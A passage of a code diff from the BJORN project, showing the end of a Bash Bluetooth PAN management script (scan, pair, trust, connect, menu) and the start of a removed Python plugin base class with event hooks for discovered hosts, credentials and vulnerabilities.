|
||||
log "INFO" "Starting ${BLUETOOTH_SERVICE}..."
|
||||
systemctl start "$BLUETOOTH_SERVICE" >> "$LOG_FILE" 2>&1 || {
|
||||
log "ERROR" "Failed to start ${BLUETOOTH_SERVICE}"
|
||||
return 1
|
||||
}
|
||||
fi
|
||||
|
||||
run_btctl "power on" >/dev/null
|
||||
run_btctl "agent on" >/dev/null
|
||||
run_btctl "default-agent" >/dev/null
|
||||
return 0
|
||||
}
|
||||
|
||||
ensure_bt_settings_dir() {
|
||||
mkdir -p "$BT_SETTINGS_DIR" >> "$LOG_FILE" 2>&1 || return 1
|
||||
chown "$BJORN_USER:$BJORN_USER" "$BT_SETTINGS_DIR" >> "$LOG_FILE" 2>&1 || true
|
||||
}
|
||||
|
||||
get_configured_mac() {
|
||||
if [ ! -f "$BT_CONFIG" ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
sed -n 's/.*"device_mac"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$BT_CONFIG" | head -n1
|
||||
}
|
||||
|
||||
write_configured_mac() {
|
||||
local mac="$1"
|
||||
|
||||
ensure_bt_settings_dir || {
|
||||
log "ERROR" "Failed to create ${BT_SETTINGS_DIR}"
|
||||
return 1
|
||||
}
|
||||
|
||||
cat > "$BT_CONFIG" <<EOF
|
||||
{
|
||||
"device_mac": "$mac"
|
||||
}
|
||||
EOF
|
||||
|
||||
chown "$BJORN_USER:$BJORN_USER" "$BT_CONFIG" >> "$LOG_FILE" 2>&1 || true
|
||||
chmod 644 "$BT_CONFIG" >> "$LOG_FILE" 2>&1 || true
|
||||
log "SUCCESS" "Updated auto-connect target in ${BT_CONFIG}: ${mac:-<empty>}"
|
||||
return 0
|
||||
}
|
||||
|
||||
device_info() {
|
||||
local mac="$1"
|
||||
bluetoothctl info "$mac" 2>/dev/null
|
||||
}
|
||||
|
||||
device_flag() {
|
||||
local mac="$1"
|
||||
local key="$2"
|
||||
device_info "$mac" | sed -n "s/^[[:space:]]*${key}:[[:space:]]*//p" | head -n1
|
||||
}
|
||||
|
||||
device_name() {
|
||||
local mac="$1"
|
||||
local name
|
||||
name="$(device_info "$mac" | sed -n 's/^[[:space:]]*Name:[[:space:]]*//p' | head -n1)"
|
||||
if [ -z "$name" ]; then
|
||||
name="$(bluetoothctl devices 2>/dev/null | sed -n "s/^Device ${mac} //p" | head -n1)"
|
||||
fi
|
||||
printf '%s\n' "${name:-Unknown device}"
|
||||
}
|
||||
|
||||
load_devices() {
|
||||
local mode="${1:-all}"
|
||||
local source_cmd="devices"
|
||||
local line mac name
|
||||
|
||||
DEVICE_MACS=()
|
||||
DEVICE_NAMES=()
|
||||
|
||||
if [ "$mode" = "paired" ]; then
|
||||
source_cmd="paired-devices"
|
||||
fi
|
||||
|
||||
while IFS= read -r line; do
|
||||
mac="$(printf '%s\n' "$line" | sed -n 's/^Device \([0-9A-F:]\{17\}\) .*/\1/p')"
|
||||
name="$(printf '%s\n' "$line" | sed -n 's/^Device [0-9A-F:]\{17\} \(.*\)$/\1/p')"
|
||||
if [ -n "$mac" ]; then
|
||||
DEVICE_MACS+=("$mac")
|
||||
DEVICE_NAMES+=("${name:-Unknown device}")
|
||||
fi
|
||||
done < <(bluetoothctl "$source_cmd" 2>/dev/null)
|
||||
}
|
||||
|
||||
print_device_list() {
|
||||
local configured_mac="${1:-}"
|
||||
local i status paired trusted connected
|
||||
|
||||
if [ "${#DEVICE_MACS[@]}" -eq 0 ]; then
|
||||
log "WARNING" "No devices found"
|
||||
return 1
|
||||
fi
|
||||
|
||||
for ((i=0; i<${#DEVICE_MACS[@]}; i++)); do
|
||||
paired="$(device_flag "${DEVICE_MACS[$i]}" "Paired")"
|
||||
trusted="$(device_flag "${DEVICE_MACS[$i]}" "Trusted")"
|
||||
connected="$(device_flag "${DEVICE_MACS[$i]}" "Connected")"
|
||||
status=""
|
||||
[ "$paired" = "yes" ] && status="${status} paired"
|
||||
[ "$trusted" = "yes" ] && status="${status} trusted"
|
||||
[ "$connected" = "yes" ] && status="${status} connected"
|
||||
[ "${DEVICE_MACS[$i]}" = "$configured_mac" ] && status="${status} configured"
|
||||
printf '%b[%d]%b %s %s%b%s%b\n' "$BLUE" "$((i + 1))" "$NC" "${DEVICE_MACS[$i]}" "${DEVICE_NAMES[$i]}" "$YELLOW" "${status:- new}" "$NC"
|
||||
done
|
||||
return 0
|
||||
}
|
||||
|
||||
select_device() {
|
||||
local mode="${1:-all}"
|
||||
local configured_mac choice index
|
||||
|
||||
configured_mac="$(get_configured_mac 2>/dev/null || true)"
|
||||
load_devices "$mode"
|
||||
|
||||
if [ "${#DEVICE_MACS[@]}" -eq 0 ]; then
|
||||
if [ "$mode" = "all" ]; then
|
||||
log "WARNING" "No known devices yet. Run a scan first."
|
||||
else
|
||||
log "WARNING" "No paired devices found."
|
||||
fi
|
||||
return 1
|
||||
fi
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Select a Bluetooth device"
|
||||
print_device_list "$configured_mac" || return 1
|
||||
echo -n -e "${GREEN}Choose a device number (or 0 to cancel): ${NC}"
|
||||
read -r choice
|
||||
|
||||
if [ -z "$choice" ] || [ "$choice" = "0" ]; then
|
||||
log "INFO" "Selection cancelled"
|
||||
return 1
|
||||
fi
|
||||
|
||||
if ! [[ "$choice" =~ ^[0-9]+$ ]]; then
|
||||
log "ERROR" "Invalid selection"
|
||||
return 1
|
||||
fi
|
||||
|
||||
index=$((choice - 1))
|
||||
if [ "$index" -lt 0 ] || [ "$index" -ge "${#DEVICE_MACS[@]}" ]; then
|
||||
log "ERROR" "Selection out of range"
|
||||
return 1
|
||||
fi
|
||||
|
||||
SELECTED_DEVICE_MAC="${DEVICE_MACS[$index]}"
|
||||
SELECTED_DEVICE_NAME="${DEVICE_NAMES[$index]}"
|
||||
log "INFO" "Selected ${SELECTED_DEVICE_NAME} (${SELECTED_DEVICE_MAC})"
|
||||
return 0
|
||||
}
|
||||
|
||||
scan_bluetooth_devices() {
|
||||
ensure_root
|
||||
local duration="${1:-12}"
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Scanning nearby Bluetooth devices"
|
||||
print_divider
|
||||
|
||||
bluetooth_power_on || return 1
|
||||
log "INFO" "Scanning for ${duration} seconds..."
|
||||
timeout "${duration}s" bluetoothctl scan on >> "$LOG_FILE" 2>&1 || true
|
||||
run_btctl "scan off" >/dev/null
|
||||
log "SUCCESS" "Scan complete"
|
||||
load_devices all
|
||||
print_device_list "$(get_configured_mac 2>/dev/null || true)" || true
|
||||
}
|
||||
|
||||
pair_device() {
|
||||
local mac="$1"
|
||||
local output
|
||||
|
||||
bluetooth_power_on || return 1
|
||||
log "INFO" "Pairing with ${mac}..."
|
||||
output="$(run_btctl "pair ${mac}")"
|
||||
if printf '%s\n' "$output" | grep -qi "Pairing successful"; then
|
||||
log "SUCCESS" "Pairing successful for ${mac}"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$(device_flag "$mac" "Paired")" = "yes" ]; then
|
||||
log "INFO" "Device ${mac} is already paired"
|
||||
return 0
|
||||
fi
|
||||
|
||||
log "ERROR" "Pairing failed for ${mac}"
|
||||
printf '%s\n' "$output"
|
||||
return 1
|
||||
}
|
||||
|
||||
trust_device() {
|
||||
local mac="$1"
|
||||
local output
|
||||
|
||||
bluetooth_power_on || return 1
|
||||
log "INFO" "Trusting ${mac}..."
|
||||
output="$(run_btctl "trust ${mac}")"
|
||||
if printf '%s\n' "$output" | grep -qi "trust succeeded"; then
|
||||
log "SUCCESS" "Trust succeeded for ${mac}"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$(device_flag "$mac" "Trusted")" = "yes" ]; then
|
||||
log "INFO" "Device ${mac} is already trusted"
|
||||
return 0
|
||||
fi
|
||||
|
||||
log "ERROR" "Trust failed for ${mac}"
|
||||
printf '%s\n' "$output"
|
||||
return 1
|
||||
}
|
||||
|
||||
disconnect_pan_session() {
|
||||
ensure_root
|
||||
local configured_mac="${1:-}"
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Disconnecting Bluetooth PAN"
|
||||
print_divider
|
||||
|
||||
if service_exists "$AUTO_BT_SERVICE" && service_active "$AUTO_BT_SERVICE"; then
|
||||
log "INFO" "Stopping ${AUTO_BT_SERVICE} to prevent immediate reconnect"
|
||||
systemctl stop "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || log "WARNING" "Failed to stop ${AUTO_BT_SERVICE}"
|
||||
fi
|
||||
|
||||
if bnep0_exists; then
|
||||
log "INFO" "Releasing DHCP lease on bnep0"
|
||||
dhclient -r bnep0 >> "$LOG_FILE" 2>&1 || true
|
||||
ip link set bnep0 down >> "$LOG_FILE" 2>&1 || true
|
||||
else
|
||||
log "INFO" "bnep0 is not present"
|
||||
fi
|
||||
|
||||
pkill -f "bt-network -c" >> "$LOG_FILE" 2>&1 || true
|
||||
pkill -f "bt-network" >> "$LOG_FILE" 2>&1 || true
|
||||
|
||||
if [ -n "$configured_mac" ]; then
|
||||
log "INFO" "Requesting Bluetooth disconnect for ${configured_mac}"
|
||||
run_btctl "disconnect ${configured_mac}" >/dev/null || true
|
||||
fi
|
||||
|
||||
bnep0_exists && log "WARNING" "bnep0 still exists after disconnect" || log "SUCCESS" "Bluetooth PAN session is down"
|
||||
}
|
||||
|
||||
connect_to_target_now() {
|
||||
ensure_root
|
||||
local mac="$1"
|
||||
local previous_mac
|
||||
|
||||
if [ -z "$mac" ]; then
|
||||
log "ERROR" "No target MAC specified"
|
||||
return 1
|
||||
fi
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Connecting Bluetooth PAN now"
|
||||
print_divider
|
||||
|
||||
bluetooth_power_on || return 1
|
||||
|
||||
if [ "$(device_flag "$mac" "Paired")" != "yes" ]; then
|
||||
log "WARNING" "Target ${mac} is not paired yet"
|
||||
fi
|
||||
if [ "$(device_flag "$mac" "Trusted")" != "yes" ]; then
|
||||
log "WARNING" "Target ${mac} is not trusted yet"
|
||||
fi
|
||||
|
||||
previous_mac="$(get_configured_mac 2>/dev/null || true)"
|
||||
write_configured_mac "$mac" || return 1
|
||||
disconnect_pan_session "$previous_mac" || true
|
||||
|
||||
if service_exists "$AUTO_BT_SERVICE"; then
|
||||
log "INFO" "Restarting ${AUTO_BT_SERVICE}"
|
||||
systemctl daemon-reload >> "$LOG_FILE" 2>&1 || true
|
||||
systemctl restart "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || {
|
||||
log "ERROR" "Failed to restart ${AUTO_BT_SERVICE}"
|
||||
show_recent_logs
|
||||
return 1
|
||||
}
|
||||
else
|
||||
log "ERROR" "${AUTO_BT_SERVICE} is not installed"
|
||||
return 1
|
||||
fi
|
||||
|
||||
wait_for_condition "${AUTO_BT_SERVICE} to become active" 10 service_active "$AUTO_BT_SERVICE" || true
|
||||
wait_for_condition "bnep0 to appear" 15 bnep0_exists || true
|
||||
|
||||
if bnep0_exists; then
|
||||
log "SUCCESS" "Bluetooth PAN link is up on bnep0"
|
||||
ip -brief addr show bnep0 2>/dev/null || true
|
||||
else
|
||||
log "WARNING" "bnep0 is still missing. Pairing/trust may be OK but PAN did not come up yet."
|
||||
show_recent_logs
|
||||
fi
|
||||
}
|
||||
|
||||
set_auto_connect_target() {
|
||||
ensure_root
|
||||
|
||||
if ! select_device all; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
write_configured_mac "$SELECTED_DEVICE_MAC"
|
||||
}
|
||||
|
||||
pairing_assistant() {
|
||||
ensure_root
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Bluetooth pairing assistant"
|
||||
print_divider
|
||||
|
||||
scan_bluetooth_devices 12 || true
|
||||
if ! select_device all; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
pair_device "$SELECTED_DEVICE_MAC" || return 1
|
||||
trust_device "$SELECTED_DEVICE_MAC" || return 1
|
||||
write_configured_mac "$SELECTED_DEVICE_MAC" || return 1
|
||||
|
||||
echo -n -e "${GREEN}Connect to this device now for PAN? [Y/n]: ${NC}"
|
||||
read -r answer
|
||||
case "${answer:-Y}" in
|
||||
n|N)
|
||||
log "INFO" "Pairing assistant completed without immediate PAN connect"
|
||||
;;
|
||||
*)
|
||||
connect_to_target_now "$SELECTED_DEVICE_MAC"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
forget_device() {
|
||||
ensure_root
|
||||
local configured_mac output
|
||||
|
||||
configured_mac="$(get_configured_mac 2>/dev/null || true)"
|
||||
if ! select_device all; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
if [ "$SELECTED_DEVICE_MAC" = "$configured_mac" ]; then
|
||||
log "WARNING" "This device is currently configured as the auto-connect target"
|
||||
disconnect_pan_session "$SELECTED_DEVICE_MAC" || true
|
||||
write_configured_mac ""
|
||||
fi
|
||||
|
||||
log "INFO" "Removing ${SELECTED_DEVICE_NAME} (${SELECTED_DEVICE_MAC}) from BlueZ"
|
||||
output="$(run_btctl "remove ${SELECTED_DEVICE_MAC}")"
|
||||
if printf '%s\n' "$output" | grep -qi "Device has been removed"; then
|
||||
log "SUCCESS" "Device removed"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if ! bluetoothctl devices 2>/dev/null | grep -q "$SELECTED_DEVICE_MAC"; then
|
||||
log "SUCCESS" "Device no longer appears in known devices"
|
||||
return 0
|
||||
fi
|
||||
|
||||
log "ERROR" "Failed to remove device"
|
||||
printf '%s\n' "$output"
|
||||
return 1
|
||||
}
|
||||
|
||||
trust_selected_device() {
|
||||
ensure_root
|
||||
if ! select_device all; then
|
||||
return 1
|
||||
fi
|
||||
trust_device "$SELECTED_DEVICE_MAC"
|
||||
}
|
||||
|
||||
list_bluetooth_status() {
|
||||
local configured_mac controller_info paired trusted connected
|
||||
|
||||
print_divider
|
||||
log "SECTION" "BJORN Bluetooth PAN Status"
|
||||
print_divider
|
||||
|
||||
controller_info="$(run_btctl "show")"
|
||||
configured_mac="$(get_configured_mac 2>/dev/null || true)"
|
||||
|
||||
if service_exists "$BLUETOOTH_SERVICE"; then
|
||||
service_active "$BLUETOOTH_SERVICE" && log "SUCCESS" "${BLUETOOTH_SERVICE} is active" || log "WARNING" "${BLUETOOTH_SERVICE} is not active"
|
||||
service_enabled "$BLUETOOTH_SERVICE" && log "SUCCESS" "${BLUETOOTH_SERVICE} is enabled at boot" || log "WARNING" "${BLUETOOTH_SERVICE} is not enabled at boot"
|
||||
else
|
||||
log "ERROR" "${BLUETOOTH_SERVICE} is not installed"
|
||||
fi
|
||||
|
||||
if service_exists "$AUTO_BT_SERVICE"; then
|
||||
service_active "$AUTO_BT_SERVICE" && log "SUCCESS" "${AUTO_BT_SERVICE} is active" || log "WARNING" "${AUTO_BT_SERVICE} is not active"
|
||||
service_enabled "$AUTO_BT_SERVICE" && log "SUCCESS" "${AUTO_BT_SERVICE} is enabled at boot" || log "WARNING" "${AUTO_BT_SERVICE} is not enabled at boot"
|
||||
else
|
||||
log "ERROR" "${AUTO_BT_SERVICE} is not installed"
|
||||
fi
|
||||
|
||||
[ -f "$AUTO_BT_SCRIPT" ] && log "SUCCESS" "${AUTO_BT_SCRIPT} exists" || log "ERROR" "${AUTO_BT_SCRIPT} is missing"
|
||||
[ -f "$BT_CONFIG" ] && log "SUCCESS" "${BT_CONFIG} exists" || log "WARNING" "${BT_CONFIG} is missing"
|
||||
|
||||
if printf '%s\n' "$controller_info" | grep -q "Powered: yes"; then
|
||||
log "SUCCESS" "Bluetooth controller is powered on"
|
||||
else
|
||||
log "WARNING" "Bluetooth controller is not powered on"
|
||||
fi
|
||||
|
||||
if [ -n "$configured_mac" ]; then
|
||||
log "INFO" "Configured auto-connect target: ${configured_mac} ($(device_name "$configured_mac"))"
|
||||
paired="$(device_flag "$configured_mac" "Paired")"
|
||||
trusted="$(device_flag "$configured_mac" "Trusted")"
|
||||
connected="$(device_flag "$configured_mac" "Connected")"
|
||||
log "INFO" "Configured target state: paired=${paired:-unknown}, trusted=${trusted:-unknown}, connected=${connected:-unknown}"
|
||||
else
|
||||
log "WARNING" "No auto-connect target configured in ${BT_CONFIG}"
|
||||
fi
|
||||
|
||||
if bnep0_exists; then
|
||||
log "SUCCESS" "bnep0 interface exists"
|
||||
ip -brief addr show bnep0 2>/dev/null || true
|
||||
else
|
||||
log "WARNING" "bnep0 interface is not present"
|
||||
fi
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Known Devices"
|
||||
load_devices all
|
||||
print_device_list "$configured_mac" || true
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Quick Recovery Hints"
|
||||
log "INFO" "Use -p for the pairing assistant"
|
||||
log "INFO" "Use -c to connect now to the configured target"
|
||||
log "INFO" "Use -r to reset Bluetooth PAN if bnep0 is stuck"
|
||||
log "INFO" "Follow logs with: sudo journalctl -u ${AUTO_BT_SERVICE} -f"
|
||||
}
|
||||
|
||||
bring_bluetooth_pan_up() {
|
||||
ensure_root
|
||||
local configured_mac
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Bringing Bluetooth PAN up"
|
||||
print_divider
|
||||
|
||||
bluetooth_power_on || return 1
|
||||
configured_mac="$(get_configured_mac 2>/dev/null || true)"
|
||||
|
||||
if [ -z "$configured_mac" ]; then
|
||||
log "WARNING" "No configured target in ${BT_CONFIG}"
|
||||
log "INFO" "Use the pairing assistant (-p) or set a target from the menu"
|
||||
fi
|
||||
|
||||
if service_exists "$AUTO_BT_SERVICE"; then
|
||||
systemctl daemon-reload >> "$LOG_FILE" 2>&1 || true
|
||||
systemctl start "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || {
|
||||
log "ERROR" "Failed to start ${AUTO_BT_SERVICE}"
|
||||
show_recent_logs
|
||||
return 1
|
||||
}
|
||||
log "SUCCESS" "Start command sent to ${AUTO_BT_SERVICE}"
|
||||
else
|
||||
log "ERROR" "${AUTO_BT_SERVICE} is not installed"
|
||||
return 1
|
||||
fi
|
||||
|
||||
wait_for_condition "${AUTO_BT_SERVICE} to become active" 10 service_active "$AUTO_BT_SERVICE" || true
|
||||
if [ -n "$configured_mac" ]; then
|
||||
wait_for_condition "bnep0 to appear" 15 bnep0_exists || true
|
||||
fi
|
||||
|
||||
if bnep0_exists; then
|
||||
log "SUCCESS" "Bluetooth PAN is up on bnep0"
|
||||
ip -brief addr show bnep0 2>/dev/null || true
|
||||
else
|
||||
log "WARNING" "Bluetooth PAN is not up yet"
|
||||
fi
|
||||
}
|
||||
|
||||
bring_bluetooth_pan_down() {
|
||||
ensure_root
|
||||
local configured_mac
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Bringing Bluetooth PAN down"
|
||||
print_divider
|
||||
|
||||
configured_mac="$(get_configured_mac 2>/dev/null || true)"
|
||||
disconnect_pan_session "$configured_mac"
|
||||
}
|
||||
|
||||
reset_bluetooth_pan() {
|
||||
ensure_root
|
||||
|
||||
print_divider
|
||||
log "SECTION" "Resetting Bluetooth PAN"
|
||||
print_divider
|
||||
|
||||
bring_bluetooth_pan_down || log "WARNING" "Down phase reported an issue, continuing"
|
||||
log "INFO" "Waiting 2 seconds before restart"
|
||||
sleep 2
|
||||
bring_bluetooth_pan_up
|
||||
}
|
||||
|
||||
show_usage() {
|
||||
echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}"
|
||||
echo -e "Options:"
|
||||
echo -e " ${BLUE}-u${NC} Bring Bluetooth PAN services up"
|
||||
echo -e " ${BLUE}-d${NC} Bring Bluetooth PAN services down"
|
||||
echo -e " ${BLUE}-r${NC} Reset Bluetooth PAN services"
|
||||
echo -e " ${BLUE}-l${NC} Show detailed Bluetooth status"
|
||||
echo -e " ${BLUE}-s${NC} Scan nearby Bluetooth devices"
|
||||
echo -e " ${BLUE}-p${NC} Launch pairing assistant"
|
||||
echo -e " ${BLUE}-c${NC} Connect now to configured target"
|
||||
echo -e " ${BLUE}-t${NC} Trust a known device"
|
||||
echo -e " ${BLUE}-x${NC} Disconnect current PAN session"
|
||||
echo -e " ${BLUE}-f${NC} Forget/remove a known device"
|
||||
echo -e " ${BLUE}-h${NC} Show this help message"
|
||||
echo -e ""
|
||||
echo -e "Examples:"
|
||||
echo -e " $0 -p Scan, pair, trust, set target, and optionally connect now"
|
||||
echo -e " $0 -u Start Bluetooth and the auto PAN reconnect service"
|
||||
echo -e " $0 -r Reset a stuck bnep0/PAN session"
|
||||
echo -e " $0 -f Forget a previously paired device"
|
||||
echo -e ""
|
||||
echo -e "${YELLOW}This script no longer installs or removes Bluetooth PAN.${NC}"
|
||||
echo -e "${YELLOW}That part is handled by the BJORN installer.${NC}"
|
||||
if [ "${1:-exit}" = "return" ]; then
|
||||
return 0
|
||||
fi
|
||||
exit 0
|
||||
}
|
||||
|
||||
display_main_menu() {
|
||||
while true; do
|
||||
clear
|
||||
print_divider
|
||||
echo -e "${CYAN} BJORN Bluetooth Runtime Manager v${SCRIPT_VERSION}${NC}"
|
||||
print_divider
|
||||
echo -e "${BLUE} 1.${NC} Show Bluetooth PAN status"
|
||||
echo -e "${BLUE} 2.${NC} Bring Bluetooth PAN up"
|
||||
echo -e "${BLUE} 3.${NC} Bring Bluetooth PAN down"
|
||||
echo -e "${BLUE} 4.${NC} Reset Bluetooth PAN"
|
||||
echo -e "${BLUE} 5.${NC} Scan nearby Bluetooth devices"
|
||||
echo -e "${BLUE} 6.${NC} Pairing assistant"
|
||||
echo -e "${BLUE} 7.${NC} Connect now to configured target"
|
||||
echo -e "${BLUE} 8.${NC} Set/change auto-connect target"
|
||||
echo -e "${BLUE} 9.${NC} Trust a known device"
|
||||
echo -e "${BLUE}10.${NC} Disconnect current PAN session"
|
||||
echo -e "${BLUE}11.${NC} Forget/remove a known device"
|
||||
echo -e "${BLUE}12.${NC} Show help"
|
||||
echo -e "${BLUE}13.${NC} Exit"
|
||||
echo -e ""
|
||||
echo -e "${YELLOW}Note:${NC} installation/removal is no longer handled here."
|
||||
echo -n -e "${GREEN}Choose an option (1-13): ${NC}"
|
||||
read -r choice
|
||||
|
||||
case "$choice" in
|
||||
1)
|
||||
list_bluetooth_status
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
2)
|
||||
bring_bluetooth_pan_up
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
3)
|
||||
bring_bluetooth_pan_down
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
4)
|
||||
reset_bluetooth_pan
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
5)
|
||||
scan_bluetooth_devices 12
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
6)
|
||||
pairing_assistant
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
7)
|
||||
connect_to_target_now "$(get_configured_mac 2>/dev/null || true)"
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
8)
|
||||
set_auto_connect_target
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
9)
|
||||
trust_selected_device
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
10)
|
||||
disconnect_pan_session "$(get_configured_mac 2>/dev/null || true)"
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
11)
|
||||
forget_device
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
12)
|
||||
show_usage return
|
||||
echo ""
|
||||
read -r -p "Press Enter to return to the menu..."
|
||||
;;
|
||||
13)
|
||||
log "INFO" "Exiting BJORN Bluetooth Runtime Manager"
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
log "ERROR" "Invalid option. Please choose between 1 and 13."
|
||||
sleep 2
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
while getopts ":udrlspctxfh" opt; do
|
||||
case "$opt" in
|
||||
u)
|
||||
bring_bluetooth_pan_up
|
||||
exit $?
|
||||
;;
|
||||
d)
|
||||
bring_bluetooth_pan_down
|
||||
exit $?
|
||||
;;
|
||||
r)
|
||||
reset_bluetooth_pan
|
||||
exit $?
|
||||
;;
|
||||
l)
|
||||
list_bluetooth_status
|
||||
exit 0
|
||||
;;
|
||||
s)
|
||||
scan_bluetooth_devices 12
|
||||
exit $?
|
||||
;;
|
||||
p)
|
||||
pairing_assistant
|
||||
exit $?
|
||||
;;
|
||||
c)
|
||||
connect_to_target_now "$(get_configured_mac 2>/dev/null || true)"
|
||||
exit $?
|
||||
;;
|
||||
t)
|
||||
trust_selected_device
|
||||
exit $?
|
||||
;;
|
||||
x)
|
||||
disconnect_pan_session "$(get_configured_mac 2>/dev/null || true)"
|
||||
exit $?
|
||||
;;
|
||||
f)
|
||||
forget_device
|
||||
exit $?
|
||||
;;
|
||||
h)
|
||||
show_usage
|
||||
;;
|
||||
\?)
|
||||
log "ERROR" "Invalid option: -$OPTARG"
|
||||
show_usage
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ $OPTIND -eq 1 ]; then
|
||||
display_main_menu
|
||||
fi
|
||||
@@ -1,156 +0,0 @@
|
||||
"""bjorn_plugin.py - Base class and helpers for Bjorn plugins."""
|
||||
|
||||
import logging
|
||||
from typing import Any, Dict, Optional
|
||||
|
||||
from logger import Logger
|
||||
|
||||
|
||||
class PluginLogger:
|
||||
"""Per-plugin logger that prefixes all messages with the plugin ID.
|
||||
Caches Logger instances by name to prevent handler accumulation on reload."""
|
||||
|
||||
_cache: dict = {} # class-level cache: name -> Logger instance
|
||||
|
||||
def __init__(self, plugin_id: str):
|
||||
name = f"plugin.{plugin_id}"
|
||||
if name not in PluginLogger._cache:
|
||||
PluginLogger._cache[name] = Logger(name=name, level=logging.DEBUG)
|
||||
self._logger = PluginLogger._cache[name]
|
||||
|
||||
def info(self, msg: str):
|
||||
self._logger.info(msg)
|
||||
|
||||
def warning(self, msg: str):
|
||||
self._logger.warning(msg)
|
||||
|
||||
def error(self, msg: str):
|
||||
self._logger.error(msg)
|
||||
|
||||
def debug(self, msg: str):
|
||||
self._logger.debug(msg)
|
||||
|
||||
def success(self, msg: str):
|
||||
self._logger.success(msg)
|
||||
|
||||
|
||||
class BjornPlugin:
|
||||
"""
|
||||
Base class every Bjorn plugin must extend.
|
||||
|
||||
Provides:
|
||||
- Access to shared_data, database, and config
|
||||
- Convenience wrappers for status/progress/comment
|
||||
- Hook methods to override for event-driven behavior
|
||||
- Standard action interface (execute) for action-type plugins
|
||||
|
||||
Usage:
|
||||
class MyPlugin(BjornPlugin):
|
||||
def setup(self):
|
||||
self.log.info("Ready!")
|
||||
|
||||
def on_credential_found(self, cred):
|
||||
self.log.info(f"New cred: {cred}")
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data, meta: dict, config: dict):
|
||||
"""
|
||||
Args:
|
||||
shared_data: The global SharedData singleton.
|
||||
meta: Parsed plugin.json manifest.
|
||||
config: User-editable config values (from DB, merged with schema defaults).
|
||||
"""
|
||||
self.shared_data = shared_data
|
||||
self.meta = meta
|
||||
self.config = config
|
||||
self.db = shared_data.db
|
||||
self.log = PluginLogger(meta.get("id", "unknown"))
|
||||
self.timeout = (meta.get("action") or {}).get("timeout", 300)
|
||||
self._plugin_id = meta.get("id", "unknown")
|
||||
|
||||
# ── Convenience wrappers ─────────────────────────────────────────
|
||||
|
||||
def set_progress(self, pct: str):
|
||||
"""Update the global progress indicator (e.g., '42%')."""
|
||||
self.shared_data.bjorn_progress = pct
|
||||
|
||||
def set_status(self, text: str):
|
||||
"""Update the main status text shown on display and web UI."""
|
||||
self.shared_data.bjorn_status_text = text
|
||||
|
||||
def set_comment(self, **params):
|
||||
"""Update the EPD comment parameters."""
|
||||
self.shared_data.comment_params = params
|
||||
|
||||
# ── Lifecycle ────────────────────────────────────────────────────
|
||||
|
||||
def setup(self) -> None:
|
||||
"""Called once when the plugin is loaded. Override to initialize resources."""
|
||||
pass
|
||||
|
||||
def teardown(self) -> None:
|
||||
"""Called when the plugin is unloaded or Bjorn shuts down. Override to cleanup."""
|
||||
pass
|
||||
|
||||
# ── Action interface (type="action" plugins only) ────────────────
|
||||
|
||||
def execute(self, ip: str, port: str, row: dict, status_key: str) -> str:
|
||||
"""
|
||||
Called by the orchestrator for action-type plugins.
|
||||
|
||||
Args:
|
||||
ip: Target IP address.
|
||||
port: Target port (may be empty string).
|
||||
row: Dict with keys: MAC Address, IPs, Ports, Alive.
|
||||
status_key: Action class name (for status tracking).
|
||||
|
||||
Returns:
|
||||
'success' or 'failed' (string, case-sensitive).
|
||||
"""
|
||||
raise NotImplementedError(
|
||||
f"Plugin {self._plugin_id} is type='action' but does not implement execute()"
|
||||
)
|
||||
|
||||
# ── Hook methods (override selectively) ──────────────────────────
|
||||
|
||||
def on_host_discovered(self, host: dict) -> None:
|
||||
"""Hook: called when a new host is found by the scanner.
|
||||
|
||||
Args:
|
||||
host: Dict with mac_address, ips, hostnames, vendor, etc.
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_credential_found(self, cred: dict) -> None:
|
||||
"""Hook: called when new credentials are discovered.
|
||||
|
||||
Args:
|
||||
cred: Dict with service, mac, ip, user, password, port.
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_vulnerability_found(self, vuln: dict) -> None:
|
||||
"""Hook: called when a new vulnerability is found.
|
||||
|
||||
Args:
|
||||
vuln: Dict with ip, port, cve_id, severity, description.
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_action_complete(self, action_name: str, success: bool, target: dict) -> None:
|
||||
